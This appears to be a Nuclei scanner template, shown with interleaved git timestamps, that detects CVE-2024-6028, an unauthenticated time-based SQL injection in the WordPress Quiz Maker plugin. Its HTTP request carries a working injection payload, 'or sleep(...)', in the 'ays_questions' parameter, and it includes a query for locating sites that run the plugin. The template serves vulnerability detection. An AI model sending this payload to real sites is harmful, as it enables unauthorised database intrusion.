2024-06-25 21:46:02 +00:00
id : CVE-2024-6028
info :
name : Quiz Maker <= 6.5.8.3 - SQL Injection
author : securityforeveryone
severity : critical
description : |
The Quiz Maker plugin for WordPress is vulnerable to time-based SQL Injection via the 'ays_questions' parameter in all versions up to, and including, 6.5.8.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
remediation : Fixed in 6.5.8.4
reference :
- https://github.com/truonghuuphuc/CVE-2024-6028-Poc
2024-06-27 08:16:01 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2024-6028
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2024-6028
cwe-id : CWE-89
2024-06-25 21:46:02 +00:00
metadata :
verified : true
max-request : 1
publicwww-query : "/wp-content/plugins/quiz-maker/"
2024-06-27 08:16:01 +00:00
tags : cve,cve2024,wordpress,wp,wp-plugin,quiz-maker,sqli
2024-06-25 21:46:02 +00:00
http :
- raw :
- |
2024-06-27 08:16:01 +00:00
@timeout : 25s
2024-06-25 21:46:02 +00:00
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2024-06-27 08:16:01 +00:00
ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,6,0)]=&action=ays_finish_quiz
2024-06-25 21:46:02 +00:00
matchers :
- type : dsl
dsl :
2024-06-27 08:16:01 +00:00
- 'duration>=6'
2024-06-25 21:46:02 +00:00
- 'status_code == 200'
2024-06-27 08:16:01 +00:00
- 'contains_all(body,"status\":","scoreMessage","displayScore")'
2024-06-25 21:46:02 +00:00
condition : and
2024-06-27 15:15:10 +00:00
# digest: 490a00463044022069e5a049ef936612c26a43bcdfe2c8eb29ed3c1ff84d66a531d4215e98ca53a1022056ca1a712669b254a773d248d9f7c9edcfeeea7859b5995eb268a727a9fce0ac:922c64590222798bb761d5b6d8e72950